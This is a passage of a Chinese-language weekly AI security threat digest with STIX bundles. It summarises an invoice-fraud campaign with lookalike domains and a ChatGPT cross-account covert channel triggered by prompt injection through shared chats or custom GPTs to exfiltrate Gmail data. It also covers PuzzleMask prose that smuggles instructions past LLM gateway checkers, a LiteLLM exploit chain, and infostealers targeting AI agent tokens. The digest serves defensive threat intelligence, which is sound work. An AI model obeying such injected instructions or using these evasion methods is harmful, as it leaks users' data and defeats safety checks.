"source_ref": "campaign--84064556-af85-4fb1-8b9a-20e214186450",
"target_ref": "attack-pattern--4daf3c68-372b-4a73-941a-acfb5fa00b33",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "该活动在钓鱼邮件中附加虚假发票或支持文档。",
"x_evidence": "Fraudulent invoices or supporting documents are attached to phishing emails.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--1c9d27f5-8bd1-4ecc-9462-1b5f5202cd00",
"relationship_type": "uses",
"source_ref": "campaign--84064556-af85-4fb1-8b9a-20e214186450",
"target_ref": "attack-pattern--00f78100-2c6d-44da-bcab-1d5549ef6b70",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "该活动使用第三方邮件服务分发钓鱼信息并提升可信度。",
"x_evidence": "Third-party email services are used to distribute phishing messages and improve legitimacy.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--8beecaa1-30d8-4f25-945d-0eb3b0dcbec3",
"relationship_type": "uses",
"source_ref": "campaign--84064556-af85-4fb1-8b9a-20e214186450",
"target_ref": "attack-pattern--184d2d42-6980-4e7d-9bd3-848686dddf87",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "该活动对邮件、域名、发票和业务通信进行合法形式伪装。",
"x_evidence": "Attackers disguise emails, domains, invoices, and business correspondence as legitimate communications.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--b0b944c5-3a60-49bc-adaa-f0d9e843c95e",
"relationship_type": "uses",
"source_ref": "campaign--84064556-af85-4fb1-8b9a-20e214186450",
"target_ref": "attack-pattern--001ee3b3-cf2e-4969-8b5f-ac46ff644ab6",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "该活动冒充高管、供应商和受信任企业以增强可信度。",
"x_evidence": "Executives, vendors, and trusted business entities are impersonated to establish credibility and influence payment decisions.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--73b196b4-7a2d-4993-8777-69e57ee1cbe4",
"relationship_type": "uses",
"source_ref": "campaign--84064556-af85-4fb1-8b9a-20e214186450",
"target_ref": "attack-pattern--54b6a6d0-a33e-412f-938e-2c987115fcf8",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "该活动通过虚假发票支付请求盗取资金。",
"x_evidence": "Victims are deceived into transferring funds to attacker-controlled financial accounts through fraudulent invoice payment requests.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--d3a79c42-df0a-414b-b80a-71cc85a60bc7",
"relationship_type": "uses",
"source_ref": "campaign--84064556-af85-4fb1-8b9a-20e214186450",
"target_ref": "domain-name--4b154b7f-afad-456f-a58a-ab53e86ed2ce",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "该活动使用仿冒ServiceNow的域名进行钓鱼和欺诈。",
"x_evidence": "A ‘ServiceNow’ lookalike domain service-nowinc[.]com was registered on July 31... used for the spoofed email address of ServiceNow President... also used in several places in the fabricated invoice.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--0f4a2a13-d8c3-4f2d-9ac5-9ce57bb4a7ef",
"relationship_type": "uses",
"source_ref": "campaign--84064556-af85-4fb1-8b9a-20e214186450",
"target_ref": "domain-name--8293e037-05c0-4d32-9eb8-e750db20c11a",
"created": "2026-09-11T04:26:26Z",
"modified": "2026-09-11T04:26:26Z",
"description": "该活动使用该域名作为钓鱼邮件Reply-To地址。",
"x_evidence": "The domain domainlify[.]net was used in the Reply-To email.",
"x_confidence": 0.95
}
]
}报告链接：
https://www.microsoft.com/en-us/security/blog/2026/09/10/protecting-organizations-ai-assisted-executive-impersonation-invoice-fraud/
───────────────────────────────────
（三）ChatGPT共享剪贴板形成跨账号数据泄露通道
事件名称：沙箱内的共享剪贴板：ChatGPT 中的跨账户数据泄露
发布日期：2026-09-08
发布机构：Check Point Research
威胁概述：
Check Point Research发现ChatGPT存在跨账户隐蔽命令通道。攻击者可通过共享对话、自定义GPT或恶意提示注入隐藏指令，待受害者发送普通请求时触发后台任务，访问Gmail等连接应用中的数据，并利用内部Artifactory实例的共享属性跨账号回传窃取内容。该问题反映出AI沙箱、租户隔离和连接应用授权边界存在组合风险。
IOC指标：
· 暂无公开IOC
STIX详情：
{
"type": "bundle",
"id": "bundle--4dd3644f-4010-494a-bb6f-5dfa754d34cb",
"spec_version": "2.1",
"objects": [
{
"type": "identity",
"spec_version": "2.1",
"id": "identity--98776715-9392-46c3-a76e-2cc3ddb5171a",
"name": "未具名威胁行为者",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "发起跨账户数据窃取攻击的威胁行为者，未公开具体身份或组织归属",
"x_evidence": "原文称攻击者发现并利用跨账户通道，并可在受害者的 ChatGPT 会话中执行隐藏任务",
"x_confidence": 0.94
},
{
"type": "vulnerability",
"spec_version": "2.1",
"id": "vulnerability--aaba61cb-2403-4c47-8f36-67fe1e3c49ad",
"name": "ChatGPT 代码执行容器间隔离缺陷",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "ChatGPT 为不同账户创建的代码执行容器不能直接通信且不能访问公网，但都能访问同一内部 JFrog Artifactory 实例，导致隔离失效并被利用构建跨账户隐蔽通道",
"x_evidence": "The channel operated through code-execution environments belonging to different ChatGPT accounts... they could all reach the same internal service",
"x_confidence": 0.96
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--8b22aeea-6a34-481b-b62b-6ae1aa0468c6",
"name": "ChatGPT",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "被攻击者利用执行隐藏任务并窃取跨账户数据的 AI 助手",
"x_evidence": "ChatGPT handles tasks that require code execution inside isolated containers",
"x_confidence": 0.95
},
{
"type": "infrastructure",
"spec_version": "2.1",
"id": "infrastructure--f440649d-8bf7-431b-a619-b9eabe6239ec",
"name": "JFrog Artifactory",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "其内部实例被利用作为隔离容器间隐蔽通信通道（共享剪贴板）的服务；暴露 /api/storage/{repoKey}/{itemPath} 端点，可通过 Set Item Properties 和 Get Storage Item Information 操作读写文件属性，reader 凭据位于容器环境变量",
"x_evidence": "the containers were allowed to access an internal JFrog Artifactory instance",
"x_confidence": 0.95
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--722164ea-48e2-4316-9422-42565facb9f2",
"name": "Malicious prompt",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "通过向会话中输入恶意提示词下发隐藏指令的攻击手法",
"x_evidence": "a malicious prompt pasted by the victim into a new or existing chat",
"x_confidence": 0.95
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--587cb297-708d-4c8a-a2fc-38152af23d03",
"name": "Custom GPT",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "攻击者用于在隐藏配置中植入恶意指令以实施跨账户攻击的自定义模型工具",
"x_evidence": "a custom GPT with the instruction embedded in its hidden configuration",
"x_confidence": 0.93
},
{
"type": "identity",
"spec_version": "2.1",
"id": "identity--e71fd5cc-709a-4aa2-bbfb-db0ab5beab8f",
"name": "OpenAI ChatGPT 用户",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "被攻击的受害者身份；其聊天历史、会话文件及已连接应用（如 Gmail）中的数据可能被窃取",
"x_evidence": "the victim only had to open the link and send a normal message",
"x_confidence": 0.94
},
{
"type": "identity",
"spec_version": "2.1",
"id": "identity--32f48ddb-eb15-4a79-af11-456634552255",
"name": "OpenAI",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "ChatGPT 的开发商及漏洞报告接收与修复方",
"x_evidence": "we nevertheless disclosed our findings to OpenAI, who confirmed that the internal Artifactory instance identified during our research had been decommissioned",
"x_confidence": 0.92
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--86ae13c1-e786-44df-b851-786c05748a2a",
"name": "Gmail",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "概念验证攻击中被窃取邮件数据的受害者关联应用",
"x_evidence": "In our proof of concept, ChatGPT retrieved email data from the victim's connected Gmail account and relayed it to the attacker",
"x_confidence": 0.93
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--9bc8cc3c-f6bf-4c11-bd0c-a0862e5b7757",
"name": "Shared ChatGPT conversation",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "通过共享对话传递隐藏指令，使受害者在正常发送消息时触发攻击者控制任务",
"x_evidence": "a shared ChatGPT conversation containing the instruction",
"x_confidence": 0.92
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--0707ac09-fa52-49b4-a184-e7df4d8e6bb1",
"relationship_type": "uses",
"source_ref": "identity--98776715-9392-46c3-a76e-2cc3ddb5171a",
"target_ref": "tool--8b22aeea-6a34-481b-b62b-6ae1aa0468c6",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "攻击者利用 ChatGPT 在受害者会话中执行隐藏任务并窃取跨账户数据",
"x_evidence": "an attacker could use a victim's ChatGPT session to execute hidden tasks with the tools, data, and connected apps available to that session",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--0f9eaa20-13f6-48d7-8c65-3d4692c4e5d3",
"relationship_type": "uses",
"source_ref": "identity--98776715-9392-46c3-a76e-2cc3ddb5171a",
"target_ref": "infrastructure--f440649d-8bf7-431b-a619-b9eabe6239ec",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "攻击者利用 JFrog Artifactory 内部实例的存储元数据接口建立跨账户共享剪贴板隐蔽通道",
"x_evidence": "the attacker could use a victim's ChatGPT session... the attackers' own account wrote to the Artifactory storage endpoint",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--52fdf8a9-f974-4524-912d-130f346a3b79",
"relationship_type": "uses",
"source_ref": "identity--98776715-9392-46c3-a76e-2cc3ddb5171a",
"target_ref": "attack-pattern--722164ea-48e2-4316-9422-42565facb9f2",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "攻击者通过恶意提示词将隐藏指令注入受害者会话上下文",
"x_evidence": "a malicious prompt pasted by the victim into a new or existing chat",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--fe3d05c7-944a-4475-b7b5-91e4eee65cec",
"relationship_type": "uses",
"source_ref": "identity--98776715-9392-46c3-a76e-2cc3ddb5171a",
"target_ref": "tool--587cb297-708d-4c8a-a2fc-38152af23d03",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "攻击者通过 Custom GPT 在隐藏配置中植入恶意指令",
"x_evidence": "a custom GPT with the instruction embedded in its hidden configuration",
"x_confidence": 0.94
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--89976e26-2367-44e0-bab4-c0dc896092d6",
"relationship_type": "uses",
"source_ref": "identity--98776715-9392-46c3-a76e-2cc3ddb5171a",
"target_ref": "attack-pattern--9bc8cc3c-f6bf-4c11-bd0c-a0862e5b7757",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "攻击者通过共享对话向受害者传递隐藏指令",
"x_evidence": "a shared ChatGPT conversation containing the instruction",
"x_confidence": 0.94
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--940ec63e-3908-4626-a6a4-8555d803af5a",
"relationship_type": "exploits",
"source_ref": "identity--98776715-9392-46c3-a76e-2cc3ddb5171a",
"target_ref": "vulnerability--aaba61cb-2403-4c47-8f36-67fe1e3c49ad",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "攻击者利用 ChatGPT 代码执行容器之间的隔离缺陷",
"x_evidence": "We independently found a way to establish a covert, bidirectional channel between the code-execution containers of two separate ChatGPT conversations created under different accounts",
"x_confidence": 0.96
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--46c25314-a9f4-480d-994f-f8acc0374a96",
"relationship_type": "targets",
"source_ref": "vulnerability--aaba61cb-2403-4c47-8f36-67fe1e3c49ad",
"target_ref": "tool--8b22aeea-6a34-481b-b62b-6ae1aa0468c6",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "该隔离缺陷影响 ChatGPT 为不同账户创建的代码执行容器",
"x_evidence": "The channel operated through code-execution environments belonging to different ChatGPT accounts",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--1af9c41d-5bab-41a4-ba38-2f795633d701",
"relationship_type": "communicates-with",
"source_ref": "tool--8b22aeea-6a34-481b-b62b-6ae1aa0468c6",
"target_ref": "infrastructure--f440649d-8bf7-431b-a619-b9eabe6239ec",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "不同账户的 ChatGPT 容器访问同一内部 JFrog Artifactory 实例，通过存储元数据接口读写文件属性形成跨账户通信",
"x_evidence": "the containers could all reach the same internal service... the storage endpoint therefore turned the package service's metadata into a shared clipboard between isolated containers",
"x_confidence": 0.94
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--d61a6bec-a5bd-4aab-b83c-b2ac3c34afc2",
"relationship_type": "communicates-with",
"source_ref": "tool--8b22aeea-6a34-481b-b62b-6ae1aa0468c6",
"target_ref": "tool--86ae13c1-e786-44df-b851-786c05748a2a",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "ChatGPT 通过受害者已连接的 Gmail 集成读取邮件数据",
"x_evidence": "In our proof of concept, ChatGPT retrieved email data from the victim's connected Gmail account",
"x_confidence": 0.94
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--05ea01ee-75ce-4423-9de5-bd0ec9bb9ca5",
"relationship_type": "targets",
"source_ref": "identity--98776715-9392-46c3-a76e-2cc3ddb5171a",
"target_ref": "identity--e71fd5cc-709a-4aa2-bbfb-db0ab5beab8f",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "攻击者以 OpenAI ChatGPT 用户为攻击目标，窃取会话、文件及已连接应用中的数据",
"x_evidence": "the attacker could steal chat history and files shared in a conversation... possible damage extended beyond chat history and uploaded files",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--775917ab-48f2-4247-9cd7-cd59a4dddcda",
"relationship_type": "uses",
"source_ref": "identity--e71fd5cc-709a-4aa2-bbfb-db0ab5beab8f",
"target_ref": "tool--8b22aeea-6a34-481b-b62b-6ae1aa0468c6",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "受害者使用 ChatGPT 作为 AI 助手，其会话上下文被攻击者利用",
"x_evidence": "a user may connect it to Gmail... ChatGPT is a cloud-based agent that can access external services through connected apps",
"x_confidence": 0.94
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--bc2979db-1aae-4a1f-94a6-7b2ffd20b3b1",
"relationship_type": "communicates-with",
"source_ref": "identity--32f48ddb-eb15-4a79-af11-456634552255",
"target_ref": "tool--8b22aeea-6a34-481b-b62b-6ae1aa0468c6",
"created": "2026-09-08T16:34:47Z",
"modified": "2026-09-08T16:34:47Z",
"description": "OpenAI 是 ChatGPT 的开发商，并已对报告所涉基础设施进行处置",
"x_evidence": "we disclosed our findings to OpenAI, who confirmed that the internal Artifactory instance... had been decommissioned",
"x_confidence": 0.92
}
]
}报告链接：
https://research.checkpoint.com/2026/the-shared-clipboard-inside-the-sandbox-cross-account-data-leakage-in-chatgpt/
───────────────────────────────────
（四）LiteLLM漏洞链可导致云环境失陷
事件名称：攻破LiteLLM：从身份认证绕过到云环境沦陷
发布日期：2026-09-09
发布机构：Wiz Research
威胁概述：
Wiz Research发现LiteLLM存在身份验证绕过和远程代码执行漏洞链。攻击者可向MCP端点发送带有无效Bearer Token的请求绕过认证，或利用未更改的默认密钥建立会话，再通过包含恶意Python代码的自定义保护机制实现代码执行，并借助未经验证的直通端点窃取云IAM凭据，进而控制容器环境并尝试横向移动。
IOC指标：
· CVE：CVE-2026-59821, CVE-2026-59822, CVE-2026-35029
报告链接：
https://www.wiz.io/blog/off-guard-breaking-litellm-from-authentication-bypass-to-cloud-compromise
───────────────────────────────────
（五）PuzzleMask利用纯文本散文绕过LLM策略检查
事件名称：PuzzleMask：滥用纯文本散文作为隐蔽的AI攻击向量
发布日期：2026-09-10
发布机构：Check Point Research
威胁概述：
Check Point Research介绍了一种名为PuzzleMask的提示构造技术。攻击者通过自动化流程将恶意有效载荷嵌入特制的英文散文中，使采用“快速网关检查器—更强目标模型”架构的LLM安全网关将其判定为正常内容；目标模型随后可能提取并处理隐藏指令。该研究说明，仅依赖轻量模型进行输入策略检查可能无法识别语义层面的隐蔽提示攻击。
IOC指标：
· 暂无公开IOC
报告链接：
https://research.checkpoint.com/2026/puzzlemask-abusing-plain-prose-as-a-covert-ai-attack-vector/
───────────────────────────────────
（六）信息窃取恶意软件开始针对AI代理数据
事件名称：信息窃取者找到了新目标：您的AI 代理
发布日期：2026-09-08
发布机构：Gen Digital Research
威胁概述：
Gen Digital Research披露，信息窃取恶意软件正在扩大数据收集范围，针对开发者本地安装的Claude、Cline、Codex、Continue和Cursor等AI辅助工具，窃取访问令牌、MCP配置、提示历史和项目数据。攻击者获得这些信息后，可能进一步访问受害者关联账户及项目资源，使AI代理的本地配置目录成为新的高价值窃密目标。
IOC指标：
· 暂无公开IOC
报告链接：
https://www.gendigital.com/blog/insights/research/infostealers-your-ai-agent
───────────────────────────────────
（七）Ollama GGUF Decoder整数溢出漏洞可被远程触发
事件名称：CVE-2026-86289：Ollama GGUF Decoder中的整数溢出漏洞
发布日期：2026-09-07
发布机构：SecurityVulnerability.io
威胁概述：
素材显示，Ollama GGUF Decoder 0.31.1及以下版本存在整数溢出漏洞。攻击者可通过远程操作操控fs/ggml/gguf.go中的readGGUFV1String函数触发该问题。官方已发布修复版本，建议用户升级至Ollama 0.31.2-rc1，以降低恶意GGUF数据处理带来的安全风险。
IOC指标：
· CVE：CVE-2026-86289
STIX详情：
报告链接：
https://securityvulnerability.io/vulnerability/CVE-2026-86289
───────────────────────────────────
（八）攻击者从提示滥用转向自主化AI攻击工作流
事件名称：GTIG AI威胁追踪：从提示到自主化——对抗性AI的演变
发布日期：2026-09-09
发布机构：Google Cloud Blog
威胁概述：
Google威胁情报报告显示，国家级和网络犯罪攻击者正将AI更深入地整合到网络攻击生命周期中，相关活动由基础提示使用发展至自动化多代理框架，并开始窃取和滥用专有模型及开发凭据。素材列举的活动包括利用受损凭据向PyPI发布带后门的MCP工具、提取GitHub Actions运行器OIDC令牌，以及通过提示注入操纵AI模型执行命令。
IOC指标：
· 暂无公开IOC
报告链接：
https://cloud.google.com/blog/topics/threat-intelligence/from-prompting-to-autonomy-the-evolution-of-adversarial-ai
───────────────────────────────────
三、本周AI安全风险观察
AI智能体编排正在压缩攻击时间：PaperCut事件显示，数百个AI智能体可用于协调漏洞利用、凭据转储和域内横向移动，使传统攻击链以更高速度并行执行，安全团队的检测与响应窗口进一步缩短。
生成式AI正在增强社会工程与隐蔽提示攻击：AI辅助高管冒充事件利用生成模板和伪造对话提升商业电邮妥协可信度；PuzzleMask研究则表明，恶意指令可被包装在普通散文中绕过快速策略检查。
AI平台与本地代理数据成为直接窃取目标：ChatGPT跨账号通道可结合连接应用访问敏感数据，信息窃取恶意软件则开始收集AI工具访问令牌、MCP配置、提示历史和项目资料，AI上下文数据正转化为新的凭据与情报资产。
AI基础设施风险从应用层延伸至模型组件和软件供应链：LiteLLM漏洞链涉及认证绕过、代码执行和云IAM凭据窃取，Ollama解码器漏洞影响模型文件处理；Google威胁情报还观察到恶意MCP工具、OIDC令牌窃取和提示注入等活动。
───────────────────────────────────
四、安全建议
加强高风险AI自动化行为监测：针对漏洞扫描、批量利用、凭据转储、DCSync和异常横向移动建立关联检测，对AI代理发起的网络访问、命令执行和工具调用设置速率限制、权限边界及人工确认。
提升AI辅助钓鱼与提示攻击防护：落实SPF、DKIM和DMARC，启用高级反钓鱼与异常付款复核机制；对进入LLM的外部内容进行重写、分层检查和行为验证，避免仅依赖单一轻量模型判定输入安全性。
保护AI平台连接应用和本地代理数据：对共享会话、自定义GPT及连接应用采用最小授权和“始终询问”，隔离不同租户的内部服务；将AI访问令牌存入系统凭据库，限制MCP工具权限，并在终端感染后及时撤销相关令牌。
及时修复AI基础设施漏洞：升级LiteLLM、Ollama等受影响组件，替换默认密钥，限制容器网络出口并为云IAM角色配置最小权限；对模型文件、MCP工具和开源依赖实施来源验证、哈希锁定及发布链路审计。
───────────────────────────────────
五、报告总结
本周AI安全事件体现出“攻击自动化加速”与“AI系统自身暴露”并行发展的趋势。数百个AI智能体编排的PaperCut攻击说明，AI已能够参与漏洞利用、凭据获取和横向移动等连续阶段；AI辅助高管冒充则进一步降低了定制化商业欺诈内容的生成成本。
与此同时，ChatGPT跨账号隐蔽通道、LiteLLM漏洞链及Ollama解码器漏洞表明，AI平台的沙箱隔离、连接应用、身份认证、代码执行和模型文件处理均可能成为攻击入口。信息窃取软件针对AI代理配置的变化，也使本地令牌、MCP配置和提示历史面临直接窃取风险。
组织在推进AI代理和模型服务落地时，需要将AI运行环境纳入核心资产管理体系，对模型输入、工具调用、外部连接、云凭据和软件供应链实施分层控制，并以持续监测和人工审批约束高风险自动化行为。
───────────────────────────────────
报告说明
本报告由360威胁情报中心基于2026年9月5日至9月11日公开威胁情报整理形成，重点分析AI智能体编排PaperCut攻击、AI辅助高管冒充与发票欺诈、ChatGPT跨账号数据泄露、LiteLLM认证绕过与代码执行、PuzzleMask隐蔽提示攻击、信息窃取软件针对AI代理、Ollama模型组件漏洞及对抗性AI自主化趋势，为企业AI平台、开发环境、云模型服务、软件供应链及安全运营防护提供参考。
情报时效性： 2026年9月5日—9月11日 威胁评估等级： 高风险（多源情报验证）
本报告仅供内部安全防护参考，请勿对外公开传播